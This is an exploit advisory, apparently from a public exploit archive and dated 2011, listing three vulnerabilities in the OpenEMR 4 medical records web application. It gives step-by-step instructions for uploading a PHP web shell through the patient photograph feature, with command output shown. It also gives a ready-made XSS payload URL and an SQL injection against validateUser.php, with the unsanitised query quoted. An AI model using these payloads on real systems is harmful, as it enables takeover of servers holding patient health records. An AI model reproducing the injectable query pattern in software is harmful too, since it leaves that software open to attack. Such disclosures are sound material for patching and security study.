OpenEMR 4 - Multiple Vulnerabilities



Author:

Level

Type:

webapps


Platform:

PHP

Date:

2011-12-25


OpenEMR 4 (Level @ Smash The Stack)
Summary: Patient Photograph Arbitrary File Upload

Initial Comment:
1. Login with valid User/Pass
2. Patient/Client -> Search/New Patient (search for anything)
3. Click Documents -> Patient Photograph
4. Upload Shell

URL: http://www.example.com/openemr/sites/SITENAME/documents/PATIENTID/shell.php.jpg?cmd=id
EX: http://www.example.com/oe/sites/default/documents/1/shell.php.jpg?cmd=id
Output: uid=48(apache) gid=48(apache) groups=48(apache)

first installed SITENAME = default
first installed PATIENTID = 1


OpenEMR 4 (Level @ Smash The Stack)
XSS

http://www.target.com/oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E


OpenEMR 4 (Level @ Smash The Stack)

Summary: validateUser.php SQL Injection

Initial Comment:
http://www.target.com/oe/interface/login/validateUser.php?u=test'

validateUser.php:
$user = $_GET['u'];
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");